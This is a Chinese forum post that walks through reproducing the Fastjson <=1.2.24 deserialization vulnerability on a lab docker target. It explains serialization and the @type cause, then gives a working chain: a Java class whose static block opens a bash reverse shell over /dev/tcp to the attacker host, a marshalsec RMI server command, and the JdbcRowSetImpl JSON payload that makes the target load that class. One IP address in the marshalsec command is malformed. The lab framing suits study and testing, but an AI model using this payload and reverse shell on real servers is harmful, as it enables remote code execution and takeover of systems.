Fastjson 反序列化漏洞

打印 上一主题 下一主题

主题 1006|帖子 1006|积分 3018

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
一、漏洞介绍

1、序列化和反序列化

(1)序列化:

   将java对象转换成字节流的过程
  java对象转酿成二进制内容byte[],序列化后就可以把二进制内容存到文件中,大概长途传输
  java对象:对象是咱们自己定义得类创建出来得
  (2)反序列化:

   将字节流还原回java对象得过程
  把一个二进制内容(byte[])变回java对象
  2、为什么必要序列化和反序列化

   两个终端进行通讯时,文本、图片、视频、链接,这些数据会以二进制得情势在网上传输
  为了传输方便、生存方便,历程之间传输,所以要序列化
  3、序列化怎样工作

   当对象的类实现 java.io.Serializable ,该对象才能进行序列化
  4、fastjson jackson gson 【序列或反序列化组件】

   前后端数据传输交互中,字符串string和json\xml格式互相转换。【常用json】
  键值对
  {
  "name":"cover-3321",
  "age":18
  }
  fastjson是一个java写的拥有高性能且功能完善的json库,接口,简朴易用
  二、漏洞原因

   fastjson在解析json(反序列化)的过程中,支持利用@Type来实例化一个具体类,且自动调用这个类的set/get方法来访问属性。黑客通过查找代码中的get方法,来长途加载恶意下令,即造成反序列化漏洞
  
  服务器的fastjson在处理json数据的过程中,没有对@type进行校验,攻击者就可以传入危险类,并且调用危险的类长途连接ldap/rmi服务,通过ldap/rmi服务上的恶意代码实验长途下令
    涉及的fastjson版本<=1.2.24
  三、漏洞复现

192.168.31.30为kali攻击机;192.168.31.221为靶机

1、启动靶场

(1)docker -compose up -d


(2)访问 http://你的IP:8090

【查看README.md】


(3)抓包测试是否可以修改

   两处:
  ①GET请求改为POST
  ②增长了:{
  "name":"coverxiaohe",
  "age":20
  }
  

2、kali配置java1.8环境




3、kali配置maven环境

【若未配置过,可查看大佬文章:kali 下安装 mvn_kali安装maven-CSDN博客】



4、创建类文件HackerFile.java

在/var/www/html下创建,http服务可访问。




  1. import java.lang.Runtime;
  2. import java.lang.Process;
  3. public class HackerFile {
  4.     static {
  5.         try {
  6.             Runtime r = Runtime.getRuntime();
  7.             Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.31.30/5555 0>&1"});
  8.             p.waitFor();
  9.         } catch (Exception e) {
  10.             // do nothing
  11.         }
  12.     }
  13. }
复制代码
  编译成恶意的类文件javac HackerFile.java
  


5、开启rmi服务


   java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.31.30/#HackerFile" 6666
  下载文件时必要添加#
  利用jar包开启rmi服务,使得他人可以访问、并将文件下载到本地去实验
  

6、开启5555端口监听



7、修改数据包实现下载

   数据包内容:【以后利用fastjson,只需修改访问地址,其他是固定的】
  
  1. {
  2.         "b":{
  3. "@type":"com.sun.rowset.JdbcRowSetImpl",
  4. "dataSourceName":"rmi://192.168.31.30:6666/HackerFile",
  5. "autoCommit":true
  6.         }
  7. }
复制代码

拿到shell

8、get shell的过程

   发送数据包之后,靶机通过rmi 6666端口 下载了恶意类文件并且实验了它
  

   该文件里有kali 反弹shell的下令,故实现了get shell
  【/bin/bash","-c","bash -i >& /dev/tcp/192.168.31.30/5555 0>&1】
  


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

花瓣小跑

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表